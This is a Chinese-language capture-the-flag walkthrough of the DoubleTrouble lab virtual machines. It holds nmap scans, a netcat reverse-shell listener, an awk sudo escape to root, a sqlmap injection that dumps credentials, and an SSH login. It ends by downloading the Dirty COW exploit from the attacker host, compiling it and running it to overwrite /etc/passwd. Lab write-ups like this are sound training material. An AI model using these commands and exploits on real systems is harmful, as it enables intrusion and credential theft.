┌──(kali㉿kali)-[~] └─$ sudo nmap -sS -sV -A -p- $ip [sudo] password for kali: Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-24 23:34 EST mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers Nmap scan report for 192.168.56.103 Host is up (0.0018s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 6a:fe:d6:17:23:cb:90:79:2b:b1:2d:37:53:97:46:58 (RSA) | 256 5b:c4:68:d1:89:59:d7:48:b0:96:f3:11:87:1c:08:ac (ECDSA) |_ 256 61:39:66:88:1d:8f:f1:d0:40:61:1e:99:c5:1a:1f:f4 (ED25519) 80/tcp open http Apache httpd 2.4.38 ((Debian)) |_http-server-header: Apache/2.4.38 (Debian) |_http-title: qdPM | Login MAC Address: 08:00:27:AA:7B:CB (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.8 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE HOP RTT ADDRESS 1 1.79 ms 192.168.56.103
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 12.64 seconds
┌──(kali㉿kali)-[~] └─$ nc -lvp 4444 listening on [any] 4444 ... 192.168.56.103: inverse host lookup failed: Unknown host connect to [192.168.56.102] from (UNKNOWN) [192.168.56.103] 43072 SOCKET: Shell has connected! PID: 1179 id uid=33(www-data) gid=33(www-data) groups=33(www-data) /usr/bin/script -qc /bin/bash 2>/dev/null www-data@doubletrouble:/var/www/html/uploads/users$
用户提权
查看sudo权限，发现可以利用awk提权至Root
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
www-data@doubletrouble:/var/www$ sudo -l Matching Defaults entries for www-data on doubletrouble: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on doubletrouble: (ALL : ALL) NOPASSWD: /usr/bin/awk www-data@doubletrouble:/var/www$ sudo awk 'BEGIN {system("/bin/sh")}' # id uid=0(root) gid=0(root) groups=0(root) # cd root /bin/sh: 2: cd: can't cd to root # cd /root # ls doubletrouble.ova
3 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.10.0: 256 hosts scanned in 1.865 seconds (137.27 hosts/sec). 3 responded
┌──(kali㉿kali)-[~] └─$ ip=192.168.56.104
┌──(kali㉿kali)-[~] └─$ sudo nmap -sS -sV -A -p- $ip Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-25 02:03 EST Nmap scan report for www.mywaf.nyx (192.168.56.104) Host is up (0.0012s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.0p1 Debian 4+deb7u4 (protocol 2.0) | ssh-hostkey: | 1024 e8:4f:84:fc:7a:20:37:8b:2b:f3:14:a9:54:9e:b7:0f (DSA) | 2048 0c:10:50:f5:a2:d8:74:f1:94:c5:60:d7:1a:78:a4:e6 (RSA) |_ 256 05:03:95:76:0c:7f:ac:db:b2:99:13:7e:9c:26:ca:d1 (ECDSA) 80/tcp open http Apache httpd 2.2.22 ((Debian)) |_http-server-header: Apache/2.2.22 (Debian) |_http-title: Site doesn't have a title (text/html). MAC Address: 08:00:27:2A:55:9E (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 3.X OS CPE: cpe:/o:linux:linux_kernel:3 OS details: Linux 3.2 - 3.10, Linux 3.2 - 3.16 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 1.15 ms www.mywaf.nyx (192.168.56.104) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 12.08 seconds
发现也是开了个http服务，看了一下发现是个很简陋的登入界面
尝试使用弱密码登入无效，猜测存在sql注入漏洞，手工注入就太麻烦了，直接上SqlMap不过这里我不知道为什么不加sudo会显示 unable to connect to the target URL，正常来说我普通用户也可以连接到靶机，我都可以正常curl网页
┌──(kali㉿kali)-[~] └─$ sudo sqlmap -u "http://192.168.56.104/index.php" --forms --batch -D doubletrouble -T users --dump ___ __H__ ___ ___[)]_____ ___ ___ {1.8.6.3#dev} |_ -| . [,] | .'| . | |___|_ [,]_|_|_|__,| _| |_|V... |_| https://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 02:30:24 /2024-11-25/
[02:30:24] [INFO] testing connection to the target URL [02:30:24] [INFO] searching for forms [1/1] Form: POST http://192.168.56.104/index.php POST data: uname=&psw=&btnLogin=Login do you want to test this form? [Y/n/q] > Y Edit POST data [default: uname=&psw=&btnLogin=Login] (Warning: blank fields detected): uname=&psw=&btnLogin=Login do you want to fill blank fields with random values? [Y/n] Y [02:30:24] [INFO] resuming back-end DBMS 'mysql' [02:30:24] [INFO] using '/root/.local/share/sqlmap/output/results-11252024_0230am.csv' as the CSV results file in multiple targets mode sqlmap resumed the following injection point(s) from stored session: --- Parameter: uname (POST) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: uname=ReGx' AND (SELECT 6801 FROM (SELECT(SLEEP(5)))KDYF) AND 'KygY'='KygY&psw=KCvn&btnLogin=Login --- do you want to exploit this SQL injection? [Y/n] Y [02:30:24] [INFO] the back-end DBMS is MySQL web server operating system: Linux Debian 7 (wheezy) web application technology: PHP 5.5.38, Apache 2.2.22 back-end DBMS: MySQL >= 5.0.12 [02:30:24] [INFO] fetching columns for table 'users'in database 'doubletrouble' [02:30:24] [WARNING] time-based comparison requires larger statistical model, please wait.............................. (done) [02:30:24] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y 2 [02:30:34] [INFO] retrieved: [02:30:40] [INFO] adjusting time delay to 1 second due to good response times username [02:31:01] [INFO] retrieved: password [02:31:28] [INFO] fetching entries for table 'users'in database 'doubletrouble' [02:31:28] [INFO] fetching number of entries for table 'users'in database 'doubletrouble' [02:31:28] [INFO] retrieved: 2 [02:31:30] [WARNING] (case) time-based comparison requires reset of statistical model, please wait.............................. (done) GfsZxc1 [02:31:56] [INFO] retrieved: montreux [02:32:25] [INFO] retrieved: ZubZub99 [02:32:57] [INFO] retrieved: clapton Database: doubletrouble Table: users [2 entries] +----------+----------+ | password | username | +----------+----------+ | GfsZxc1 | montreux | | ZubZub99 | clapton | +----------+----------+
[02:33:22] [INFO] table 'doubletrouble.users' dumped to CSV file '/root/.local/share/sqlmap/output/192.168.56.104/dump/doubletrouble/users.csv' [02:33:22] [INFO] you can find results of scanning in multiple targets mode inside the CSV file '/root/.local/share/sqlmap/output/results-11252024_0230am.csv'
[*] ending @ 02:33:22 /2024-11-25/
这里拿到两个账户，我分别尝试登入网页发现无任何反应
之前还扫到开了ssh端口
尝试ssh连接一下，说不定有收获，巧了尝试第二个就连上了，哈哈
1 2 3 4 5 6 7 8 9 10 11 12 13
┌──(kali㉿kali)-[~] └─$ ssh clapton@$ip [email protected]'s password: Linux doubletrouble 3.2.0-4-amd64 #1 SMP Debian 3.2.78-1 x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. clapton@doubletrouble:~$ cat user.txt 6CEA7A737C7C651F6DA7669109B5FB52clapton@doubletrouble:~$
clapton@doubletrouble:/tmp$ wget 192.168.56.102/dirty.c --2024-11-25 02:27:04-- http://192.168.56.102/dirty.c Connecting to 192.168.56.102:80... connected. HTTP request sent, awaiting response... 200 OK Length: 4815 (4.7K) [application/octet-stream] Saving to: `dirty.c' 100%[============================================================================================================>] 4,815 --.-K/s in 0s 2024-11-25 02:27:04 (736 MB/s) - `dirty.c' saved [4815/4815]
clapton@doubletrouble:/tmp$ ls dirty.c linpeas.sh clapton@doubletrouble:/tmp$ gcc -pthread dirty.c -o dirty -lcrypt clapton@doubletrouble:/tmp$ ls dirty dirty.c linpeas.sh clapton@doubletrouble:/tmp$ ./dirty /etc/passwd successfully backed up to /tmp/passwd.bak Please enter the new password: Complete line: firefart:fikF6I.XwWM36:0:0:pwned:/root:/bin/bash
